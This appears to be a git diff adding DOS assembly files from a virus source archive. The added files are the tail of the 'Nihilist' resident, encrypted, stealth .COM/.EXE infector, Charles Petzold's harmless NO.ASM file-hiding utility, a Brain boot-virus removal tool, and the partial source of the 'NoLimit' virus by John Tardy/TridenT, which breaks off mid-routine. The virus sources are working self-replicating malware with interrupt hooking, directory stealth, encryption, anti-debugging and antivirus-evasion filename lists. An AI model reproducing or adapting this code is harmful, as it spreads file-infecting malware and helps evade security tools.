+ mov ax,PING ; test for residency + int 21h + cmp cx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh ; file open + je file_open + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov cx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + call get_extension ; check filename + cmp es:[di - 3],'DN' ; skip if COMMAND + jne open_file + jmp cant_open + +open_file: + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + add dx,103h + call encrypt_code ; encrypt virus + + mov dx,offset read_buffer ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + mov dx,word ptr read_buffer[20] + call encrypt_code ; encrypt virus + + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset encrypt_buffer + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db '[Nihilist]',0 + + +activate: + ; Insert your routine here + ret +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov cipher,dx ; save encryption key + pop cx + add cx,virus_code - virus_begin + mov code_offset,cx ; save code offset + + push cs ; ES = CS + pop es + + mov si,offset virus_begin ; move decryption module + mov di,offset encrypt_buffer + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + xor ax,dx + stosw + loop encrypt + + pop cx ax + ret + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/n/NO.ASM b/n/NO.ASM new file mode 100755 index 0000000..b134c93 --- /dev/null +++ b/n/NO.ASM @@ -0,0 +1,312 @@ +; NO.ASM -- Hides specified files from command that follows +; ====== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 002Ch +Environment Label Word ; Segment of Environment is here + Org 0080h +Parameter Label Byte ; Parameter is here + Org 0100h +Entry: Jmp Begin ; Entry Point + +; Most Data (some more at end of program) +; --------------------------------------- + + db "Copyright 1986 Ziff-Davis Publishing Co.",1Ah + db " Programmed by Charles Petzold ",1Ah +SyntaxMsg db "Syntax: NO filespec command [parameters]$" +DosVersMsg db "NO: Needs DOS 2.0 +$" +FileSpecMsg db "NO: Incorrect File Spec$" +TooManyMsg db "NO: Too many files to hide$" +MemAllocMsg db "NO: Allocation Problem$" +CommandMsg db "NO: COMMAND Problem$" +Delimiters db 9,' ,;=' +FileList dw ? ; Storage of found files +FileCount dw 0 ; Count of found files +FileListEnd dw ? ; End of storage of found files +BreakState db ? ; Store original break state here +Comspec db 'COMSPEC=' ; String for Environment search +ParamBlock dw ? ; Parameter block for EXEC call + dw ?, ? + dw 5Ch, ? + dw 6Ch, ? +StackPointer dw ? ; Save SP during EXEC call + +; Check DOS Version +; ----------------- + +Begin: Mov AH, 30h ; Check for DOS Version + Int 21h ; through DOS call + Cmp AL, 2 ; See if it's 2.0 or above + Jae DosVersOK ; If so, continue + + Mov DX, Offset DosVersMsg ; Error message +ErrorExit: Mov AH, 9 ; Print String function call + Int 21h ; Do it + Int 20h ; And exit prematurely + +; Parse Command Line to get NO File specification +; ----------------------------------------------- + +ScanParam: Lodsb ; SUBROUTINE: Get byte + Cmp AL, 13 ; See if end of parameter + Je ErrorExit ; If so, exit + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 5 ; There are 5 of them + Repne Scasb ; Scan the string + Ret ; And return + +DosVersOK: Mov DX, Offset SyntaxMsg ; Possible error msg + Mov SI, 1+Offset Parameter ; NO Parameter string + Cld ; Directions forward + +BegSearch: Call ScanParam ; Check byte in subroutine + Je BegSearch ; If delimiter, keep searching + Mov BX, SI ; Save pointer in BX + Dec BX ; BX points to NO file spec + +EndSearch: Call ScanParam ; Check byte in subroutine + Jne EndSearch ; If not delimiter, keep going + +; Construct full FilePath and save down at end of program +; ------------------------------------------------------- + + Dec SI ; Points after NO file spec + Xchg SI, BX ; SI points to beg, BX to end + Mov DI, Offset FullPath ; Points to destination + Cmp Byte Ptr [SI + 1], ':' ; See if drive spec included + Jnz GetDrive ; If not, must get the drive + Lodsw ; Otherwise, grab drive spec + And AL, 0DFh ; Capitalize drive letter + Jmp Short SaveDrive ; And skip next section + +GetDrive: Mov AH, 19h ; Get current drive + Int 21h ; through DOS + Add AL, 'A' ; Convert to letter + Mov AH, ':' ; Colon after drive letter + +SaveDrive: Stosw ; Save drive spec and colon + Mov AL, '\' ; Directory divider byte + Cmp [SI], AL ; See if spec starts at root + Jz HaveFullPath ; If so, no need to get path + Stosb ; Store that character + Push SI ; Save pointer to parameter + Mov SI, DI ; Destination of current path + Mov DL, [SI - 3] ; Drive letter specification + Sub DL, '@' ; Convert to number + Mov AH, 47h ; Get current directory + Int 21h ; through DOS + Mov DX, Offset FileSpecMsg ; Possible error message + Jc ErrorExit ; Exit if error + Sub AL, AL ; Search for terminating zero + Cmp [SI], AL ; Check if Root Directory + Jz RootDir ; If so, don't use it + Mov CX, 64 ; Number of bytes to search + Repnz Scasb ; Do the search + Dec DI ; DI points to last zero + Mov AL, '\' ; Put a backslash in there + Stosb ; So filespec can follow +RootDir: Pop SI ; Get back SI + +HaveFullPath: Mov CX, BX ; End of NO file spec + Sub CX, SI ; Number of bytes to transfer + Rep Movsb ; Transfer them + Sub AL, AL ; Terminating zero + Stosb ; Save it + Mov [FileList], DI ; Repository for found files + +; Fix up parameter and ParamBlock for eventual COMMAND load +; --------------------------------------------------------- + + Sub BX, 4 ; Points to new param begin + Mov AL, [Parameter] ; Old byte count of parameter + Add AL, 80h ; Add beginning of old param + Sub AL, BL ; Subtract beginning of new + Mov AH, ' ' ; Space separator + Mov Word Ptr [BX], AX ; Store it + Mov Word Ptr [BX + 2], 'C/' ; Add /C to beginning of rest + Mov AX, [Environment] ; Get environment segment + Mov [ParamBlock], AX ; Save it + Mov [ParamBlock + 2], BX ; Save parameter pointer + Mov [ParamBlock + 4], CS ; Save segment of ParamBlock + Mov [ParamBlock + 8], CS + Mov [ParamBlock + 10], CS + +; Find Files from NO File Specification +; ------------------------------------- + + Mov DX, Offset DTABuffer ; Set File Find buffer + Mov AH, 1Ah ; by calling DOS + Int 21h + + Mov DI, [FileList] ; Address of destination + Mov DX, Offset FullPath ; Search string + Sub CX, CX ; Search Normal files only + Mov AH, 4Eh ; Find first file + +FindFile: Int 21h ; Call DOS to find file + Jnc Continue ; If no error continue + Cmp AX, 18 ; If no more files + Jz NoMoreFiles ; get out of the loop + Mov DX, Offset FileSpecMsg ; Error message otherwise + Jmp ErrorExit ; Exit and print message + +Continue: Mov AX, DI ; Address of destination + Add AX, 512 ; See if near top of segment + Jc TooManyFiles ; If so, too many files + Cmp AX, SP ; See if getting too many + Jb StillOK ; If not, continue + +TooManyFiles: Mov DX, Offset TooManyMsg ; Otherwise error message + Jmp ErrorExit ; And terminate + +StillOK: Mov SI, 30+Offset DTABuffer ; Points to filename + Call AsciizTransfer ; Transfer it to list + Inc [FileCount] ; Kick up counter + Mov AH, 4Fh ; Find next file + Jmp FindFile ; By looping around + +NoMoreFiles: Mov [FileListEnd], DI ; Points after last file + Mov DI, [FileList] ; Points to end of find string + Mov CX, 64 ; Search up to 64 bytes + Mov AL, '\' ; For the backslash + Std ; Search backwards + Repnz Scasb ; Do the search + Mov Byte Ptr [DI + 2], 0 ; Stick zero in there + Cld ; Fix up direction flag + +; Stop Ctrl-Break Exits and Hide the files +; ---------------------------------------- + + Mov AX,3300h ; Get Break State + Int 21h ; By calling DOS + Mov [BreakState],DL ; Save it + Sub DL,DL ; Set it to OFF + Mov AX,3301h ; Set Break State + Int 21h ; By calling DOS + Mov BL, 0FFh ; Value to AND attribute + Mov BH, 02h ; Value to OR attribute + Call ChangeFileMode ; Hide all the files + +; Un-allocate rest of memory +; -------------------------- + + Mov BX, [FileListEnd] ; Beyond this we don't need + Add BX, 512 ; Allow 512 bytes for stack + Mov SP, BX ; Set new stack pointer + Add BX, 15 ; Prepare for truncation + Mov CL,4 ; Prepare for shift + Shr BX,CL ; Convert to segment form + Mov AH,4Ah ; Shrink allocated memory + Int 21h ; By calling DOS + Mov DX,Offset MemAllocMsg ; Possible Error Message + Jc ErrorExit2 ; Print it and terminate + +; Search for Comspec in Environment +; --------------------------------- + + Push ES ; We'll be changing this + Mov ES, [Environment] ; Set ES to Environment + Sub DI, DI ; Start at the beginning + Mov SI, Offset ComSpec ; String to search for + Mov DX, Offset CommandMsg ; Possible error message + +TryThis: Cmp Byte Ptr ES:[DI], 0 ; See if points to zero + Jz ErrorExit2 ; If so, we can't go on + Push SI ; Temporarily save these + Push DI + Mov CX, 8 ; Search string has 8 chars + Repz Cmpsb ; Do the string compare + Pop DI ; Get back the registers + Pop SI + Jz LoadCommand ; If equals, we've found it + Sub AL, AL ; Otherwise search for zero + Mov CX, -1 ; For 'infinite' bytes + Repnz Scasb ; Do the search + Jmp TryThis ; And try the next string + +; Load COMMAND.COM +; ----------------- + +LoadCommand: Add DI, 8 ; so points after 'COMSPEC=' + Push DS ; Switch DS and ES registers + Push ES + Pop DS + Pop ES + Mov [StackPointer],SP ; Save Stack Pointer + Mov DX, DI ; DS:DX = Asciiz of COMMAND + Mov BX, Offset ParamBlock ; ES:BX = parameter block + Mov AX, 4B00h ; EXEC function call + Int 21h ; Load command processor + +; Return from COMMAND.COM +; ----------------------- + + Mov AX, CS ; Current code segment + Mov DS, AX ; Reset DS to this segment + Mov ES, AX ; Reset ES to this segment + Mov SS, AX ; Reset stack segment to it + Mov SP, [StackPointer] ; Reset SP + Pushf ; Save error flag + Sub DL,DL ; Set Ctrl Break to OFF + Mov AX,3301h + Int 21h ; By calling DOS + Popf ; Get back error flag + Mov DX,Offset CommandMsg ; Set up possible error msg + Jnc Terminate ; And print if EXEC error + +; Unhide the Files, restore Ctrl-Break state, and exit +; ---------------------------------------------------- + +ErrorExit2: Mov AH,9 ; Will print the string + Int 21h ; Print it +Terminate: Mov BL, 0FDh ; AND value for change + Mov BH, 00h ; OR value for change + Call ChangeFileMode ; Change file attributes + Mov DL,[BreakState] ; Original break-state + Mov AX,3301h ; Change the break-state + Int 21h ; by calling DOS + Int 20h ; Terminate + +; SUBROUTINE: Change File Mode (All files, BL = AND, BH = OR) +; ----------------------------------------------------------- + +ChangeFileMode: Mov CX, [FileCount] ; Number of files + Jcxz EndOfChange ; If no files, do nothing + Mov SI, [FileList] ; Beginning of list + Mov DX, [FileListEnd] ; End of List +ChangeLoop: Push SI ; Save pointer + Mov SI, Offset FullPath ; Preceeding path string + Mov DI, DX ; Destination of full name + Call AsciizTransfer ; Transfer it + Dec DI ; Back up to end zero + Pop SI ; Get back pointer to filename + Call AsciizTransfer ; Transfer it + Push CX ; Save the counter + Mov AX, 4300h ; Get attribute + Int 21h ; by calling DOS + And CL, BL ; AND with BL + Or CL, BH ; OR with BH + Mov AX, 4301h ; Now set attribute + Int 21h ; by calling DOS + Pop CX ; Get back counter + Loop ChangeLoop ; And do it again if necessary +EndOfChange: Ret ; End of subroutine + +; SUBROUTINE: Asciiz String Transfer (SI, DI in, returned incremented) +; -------------------------------------------------------------------- + +AsciizTransfer: Movsb ; Transfer Byte + Cmp Byte Ptr [DI - 1], 0 ; See if it was end + Jnz AsciizTransfer ; If not, loop + Ret ; Or leave subroutine + +; Variable length data stored at end +; ---------------------------------- + +DTABuffer Label Byte ; For file find calls +FullPath equ DTABuffer + 43 ; For file path and names +CSEG EndS ; End of the segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/n/NOBRAIN.ASM b/n/NOBRAIN.ASM new file mode 100755 index 0000000..ea9dbed --- /dev/null +++ b/n/NOBRAIN.ASM @@ -0,0 +1,331 @@ +; Date : 27-1-1989 +; Ver : 1.04 +; Program : Kill the Brain Virus +Cseg Segment Para Public 'MyCode' + Assume cs:Cseg,ds:Cseg + Org 100h +Start: Mov dx,offset CRight ;print copyright notice + Call DispStr + Mov ah,19h ;get current drive + Int 21h + Mov Drive,al ;save it + Call GetDrive ;Get drive if possible + Jc Exit + Call ChVirus ;virus present? + Jc Exit ;exit if not + Call FindBoot ;Find correct boot sector + Mov dx,offset VirusKill + Call DispStr + Call ReadFats ;Read the FAT tables + Jc Exit + Call CheckBad +Exit: Mov ax,4C00h + Int 21h +FindBoot Proc + Mov dl,[si+6] + Mov ax,18 ;9 sectors/track * 2 sides + Mov cl,[si+8] + Mul cl + Or dl,dl + Jz Fb1 + Add ax,10 ;Move to the next side +Fb1: Mov dx,ax ;read this sector + Mov cx,1 ;Read one sector + Mov bx,offset PrgEnd ;Read it here + Mov al,Drive ;Get drive number + Int 25h ;Read interrupt + Jnc Fb2 + Add sp,2 + Mov dx,offset MesOh1 + Call DispStr + Stc + Ret +Fb2: Add sp,2 + Xor dx,dx ;Write at boot + Mov cx,1 ;Write one sector + Mov bx,offset PrgEnd ;Write from here + Mov al,Drive ;Get drive number + Int 26h ;Write interrupt + Jnc Fb3 + Add sp,2 + Mov dx,offset MesOh2 ;Print message + Call DispStr + Stc + Ret +Fb3: Add sp,2 + Clc + Ret +FindBoot Endp +PointTo Proc + Push bx + Mov dx,ax + Add ax,ax + Add ax,dx + Mov dx,ax + Shr ax,1 ;Cluster * 1.5 + Mov bx,offset PrgEnd + Add bx,ax + Mov ax,ds:[bx] ;Get entry + Test dx,1 + Jnz Point1 + And ax,0FFFh + Jmp short Point0 +Point1: Shr ax,1 + Shr ax,1 + Shr ax,1 + Shr ax,1 +Point0: Pop bx + Ret +PointTo Endp +ReadFats Proc + Mov bx,offset PrgEnd + Mov al,Drive + Mov cx,4 ;read FAT1 and FAT2 + Mov dx,1 ;FAT sectors + Int 25h ;Read FAT tables + Jnc Rf1 + Add sp,2 + Mov dx,offset FatError + Call DispStr + Stc + Ret +Rf1: Add sp,2 + Clc + Ret +ReadFats Endp + +CheckBad Proc + Call FindBad ;Find real boot sector + Call WriteFats +Exit1: Ret +CheckBad Endp +FindBad Proc + Mov cx,354 ;Check 354 clusters + Mov ax,2 ;start with cluster 2 + Mov bx,ax +FM: Call PointTo ;Find where it points + Cmp ax,0FF7h ;Is it bad? + Jz ChkBd ;Check if realy bad +FindMore1: Inc bx + Mov ax,bx + Loop FM + Ret +ChkBd: Push ax + Call CheckCluster ;bx=cluster number, try to read + Pop ax + Jmp short FindMore1 +FindBad Endp +WriteFats Proc + Mov bx,offset PrgEnd + Mov al,Drive + Mov cx,4 ;FAT1 and FAT2 + Mov dx,1 ;Start of FAT sectors + Int 26h ;Write FAT tables + Jnc Wf1 ;Jump if not fail + Add sp,2 + Mov dx,offset MesOh3 ;Write error + Call DispStr + Stc + Ret +Wf1: Add sp,2 + Clc + Ret +WriteFats Endp +CheckCluster Proc + Push bx + Push cx + Sub bx,2 + Sal bx,1 + Add bx,12 ;bx=sector number + Mov dx,bx ;sector + Mov cx,2 ;2 sectors + Mov bx,offset PrgEnd+205 + Mov al,Drive + Int 25h ;Read sectors + Jnc QRc1 + Add sp,2 + Mov al,2 ;err 2=try more + Pop cx + Pop bx + Ret +QRc1: Add sp,2 + Pop cx + Pop bx ;Mark cluster bx as not bad + Mov ax,bx + Push bx + Mov dx,ax + Add ax,ax + Add ax,dx + Mov dx,ax + Shr ax,1 ;Cluster * 1.5 + Mov bx,offset PrgEnd + Add bx,ax + Mov ax,ds:[bx] ;Get entry + Test dx,1 + Jnz QPo1 + And ax,0F000h + Jmp short QPo2 +QPo1: And ax,000Fh +QPo2: Mov ds:[bx],ax ;Write entry to FAT1 + Mov ds:[bx+1024],ax ;Write entry to FAT2 + Pop bx + Ret +CheckCluster Endp + +ChVirus Proc + Call ReadBoot ;Read the boot sector + Jnc ChVirus1 + Ret +ChVirus1: Mov si,offset PrgEnd + Mov dx,offset MesBad ;Assume bad news + Cmp word ptr [si+4],1234h + Jz InThere + Mov dx,offset MesGood ;Assume all OK + Mov di,436 ;Vector of interrupt 13h + Push es + Xor ax,ax + Mov es,ax + Mov ax,es:[di+2] ;get segment of the interrupt + Pop es + Cmp ax,0C800h + Jb InThere + Mov dx,offset MesBad1 ;active now! + Call DispStr + Mov bx,offset PrgEnd + Mov ah,2 ;Read + Mov al,1 ;1 sector + Mov dl,Drive + Xor dh,dh ;head number + Xor ch,ch ;track number + Mov cl,1 ;sector 1 + Int 6Dh ;Virus uses interrupt 6Dh + Mov si,offset PrgEnd + Mov dx,offset MesBad + Cmp word ptr [si+4],1234h + Jz InThere1 + Mov dx,offset MesGood + Call DispStr + Stc ;No need to do more. + Ret +InThere: Call DispStr + Clc ;Do more + Ret +InThere1: Call DispStr ;write bad news + Mov dx,offset MesBad2 ;No lasting effect + Jmp short InThere +ChVirus Endp +ReadBoot Proc + Mov bx,offset PrgEnd ;Put it here + Mov al,Drive ;Drive to use + Mov cx,1 ;One sector + Xor dx,dx ;Boot sector + Int 25h ;Read it + Jnc P0 + Add sp,2 + Mov dx,offset MesBoot + Cmp ah,80h ;Time-out? + Jz P1 + Mov dx,offset MesBoot1 +P1: Call DispStr + Stc ;Error + Ret ;Go +P0: Add sp,2 + Clc ;No error + Ret ;Go +ReadBoot Endp +GetDrive Proc + Mov si,80h + Mov cl,[si] ;Get length of command tail + Xor ch,ch + Or cx,cx + Jnz Lab1 + Cmp byte ptr Drive,2 + Jae DriveError1 + Clc + Ret +Lab1: Add si,cx + Inc si + Mov byte ptr [si],0 ;Command ends with 0 + Mov si,81h + Cld +SpOut: Lodsb + Cmp al,32 + Jz SpOut ;Skip blanks + Or al,al + Jnz Stan1 + Ret + +Stan1: Lodsb + Or al,al + Jnz Check1 + Ret +Check1: Cmp al,':' + Jnz Stan1 + Cmp si,84h +DriveCheck: Jb DriveError + Mov al,[si-2] + And al,223 ;Convert to upper case + Cmp al,'A' + Jb DriveError1 + Cmp al,'B' + Ja DriveError1 + Sub al,65 ;Convert drive to 0 or 1 + Mov Drive,al + Clc + Ret +DriveError: Mov dx,offset Err8 ;Drive expected + Call DispStr + Stc + Ret +DriveError1: Mov dx,offset Err9 ;Invalid drive + Call DispStr + Stc + Ret +GetDrive Endp +DispStr Proc + Mov ah,9 + Int 21h + Ret +DispStr Endp + +CRight db 13,10 + db 'Kill the virus Ver 1.04, 27-1-1989',13,10 + db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$' + + +Err8 db 'Error 8 : Drive expected.$' +Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$' +MesBoot db 13,10 + db 'Program execution aborted. Door open?',13,10,'$' +MesBoot1 db 13,10 + db 'I can not read the boot sector.',13,10 + db 'Disk can not contain the virus .',13,10,'$' +FatError db 13,10 + db 'Sorry, I can not read the FAT tables.',13,10 + db 'FAT corrections not written to disk.',13,10,'$' +VirusKill db 'Virus was successfully killed.',13,10,'$' +MesOh1 db 'DISK ERROR : I can not read the correct boot sector.' + db 13,10,'$' +MesOh2 db 'Failed to write correct boot sector in boot area.' + db 13,10,'$' +MesOh3 db 'Failed to write FAT tables. Corrections lost.' + db 13,10,'$' +MesGood db 'Good News : The disk is not contaminated.' + db 13,10,'$' +MesBad db 'Bad News : The disk is contaminated.' + db 13,10,'$' + +MesBad1 db '* WARNING *',13,10 + db 'Virus is active right now !',13,10,'$' + +MesBad2 db 13,10 + db 'Remove the disk after the virus is killed',13,10 + db 'to avoid the risk of contamination.',13,10,13,10,'$' + +Count db 0 ;Count 0..58 +Drive db 0 ;Current drive + +PrgEnd: +Cseg Ends + End Start + \ No newline at end of file diff --git a/n/NOLIMIT1.A86 b/n/NOLIMIT1.A86 new file mode 100755 index 0000000..71b45f6 --- /dev/null +++ b/n/NOLIMIT1.A86 @@ -0,0 +1,266 @@ +; +; NoLimit Virus by John Tardy / TridenT +; +; Limited version of Servant Virus + +Version Equ 1 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h 